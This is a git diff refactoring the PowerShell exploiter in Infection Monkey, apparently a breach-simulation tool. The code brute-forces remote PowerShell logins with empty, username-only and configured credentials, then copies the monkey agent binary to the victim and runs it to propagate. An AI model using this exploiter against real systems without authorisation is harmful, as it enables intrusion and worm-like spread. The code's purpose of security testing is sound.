diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py
index 91ba9df71..952337e81 100644
--- a/monkey/infection_monkey/exploit/powershell.py
+++ b/monkey/infection_monkey/exploit/powershell.py
@@ -41,76 +41,61 @@ class PowerShellExploiter(HostExploiter):
             logging.getLogger(package.__name__).setLevel(logging.ERROR)
 
     def _exploit_host(self):
-        result = self._attempt_exploitations()
-        if not result:
+        self.client = self._authenticate_via_brute_force()
+        if not self.client:
             return False
 
-        arch = self._get_host_arch()
-        self.is_32bit = arch == WIN_ARCH_32
+        self._execute_monkey_agent_on_victim()
 
-        self._write_virtual_file_to_local_path()
-
-        self.monkey_path_on_victim = (
-            self._config.dropper_target_path_win_32
-            if self.is_32bit
-            else self._config.dropper_target_path_win_64
-        )
-        is_monkey_copy_successful = self._copy_monkey_binary_on_victim()
-
-        if is_monkey_copy_successful:
-            self._execute_monkey_on_victim()
-        else:
-            return False
-
-        return True
-
-    def _attempt_exploitations(self) -> bool:
+    def _authenticate_via_brute_force(self) -> typing.Optional[Client]:
         try:
-            self.client = self._exploit_without_credentials()
+            client = self._authenticate_with_empty_credentials()
+            return client
         except FailedExploitationError:
             LOG.info("Failed exploitation without credentials.")
-            try:
-                self.client = self._exploit_with_usernames_only(
-                    usernames=self._config.exploit_user_list
-                )
-            except FailedExploitationError:
-                LOG.info("Failed exploitation using configured usernames only.")
-                try:
-                    self.client = self._exploit_with_credentials(
-                        credential_list=self._config.get_exploit_user_password_pairs()
-                    )
-                except FailedExploitationError:
-                    LOG.info("Failed exploitation using configured credentials. Quitting.")
-                    return False
 
-        return True
+        try:
+            client = self._authenticate_with_empty_passwords(
+                usernames=self._config.exploit_user_list
+            )
+            return client
+        except FailedExploitationError:
+            LOG.info("Failed exploitation using configured usernames only.")
 
-    def _exploit_without_credentials(self) -> Client:
-        return self._try_exploit()
+        try:
+            client = self._authenticate_with_usernames_and_passwords(
+                credential_list=self._config.get_exploit_user_password_pairs()
+            )
+            return client
+        except FailedExploitationError:
+            LOG.info("Failed exploitation using configured credentials. Quitting.")
 
-    def _exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client:
+        return None
+
+    def _authenticate_with_empty_credentials(self) -> Client:
+        return self._authenticate(None, None)
+
+    def _authenticate_with_empty_passwords(self, usernames: typing.List[str]) -> Client:
         for username in usernames:
             try:
-                client = self._try_exploit(username)
+                client = self._authenticate(username, None)
                 return client
             except FailedExploitationError:
                 pass
         raise FailedExploitationError
 
-    def _exploit_with_credentials(
+    def _authenticate_with_usernames_and_passwords(
         self, credential_list: typing.List[typing.Tuple[str, str]]
     ) -> Client:
         for username, password in credential_list:
             try:
-                client = self._try_exploit(username, password)
+                client = self._authenticate(username, password)
                 return client
             except FailedExploitationError:
                 pass
         raise FailedExploitationError
 
-    def _try_exploit(
-        self, username: typing.Optional[str] = None, password: typing.Optional[str] = None
-    ) -> Client:
+    def _authenticate(self, username: str, password: str) -> Client:
         try:
             with Client(
                 self.host.ip_addr,
@@ -124,6 +109,26 @@ class PowerShellExploiter(HostExploiter):
         except Exception:
             raise FailedExploitationError
 
+    def _execute_monkey_agent_on_victim(self):
+        arch = self._get_host_arch()
+        self.is_32bit = arch == WIN_ARCH_32
+
+        self._write_virtual_file_to_local_path()
+
+        self.monkey_path_on_victim = (
+            self._config.dropper_target_path_win_32
+            if self.is_32bit
+            else self._config.dropper_target_path_win_64
+        )
+        is_monkey_copy_successful = self._copy_monkey_binary_to_victim()
+
+        if is_monkey_copy_successful:
+            self._run_monkey_executable_on_victim()
+        else:
+            return False
+
+        return True
+
     def _get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]:
         output = self._execute_cmd_on_host(GET_ARCH_WINDOWS)
         if "64-bit" in output:
@@ -142,7 +147,7 @@ class PowerShellExploiter(HostExploiter):
             with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
                 monkey_local_file.write(monkey_virtual_file.read())
 
-    def _copy_monkey_binary_on_victim(self) -> bool:
+    def _copy_monkey_binary_to_victim(self) -> bool:
         try:
             self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, self.monkey_path_on_victim)
             return True
@@ -151,7 +156,7 @@ class PowerShellExploiter(HostExploiter):
         finally:
             os.remove(TEMP_MONKEY_BINARY_FILEPATH)
 
-    def _execute_monkey_on_victim(self) -> None:
+    def _run_monkey_executable_on_victim(self) -> None:
         monkey_params = build_monkey_commandline(
             target_host=self.host,
             depth=get_monkey_depth() - 1,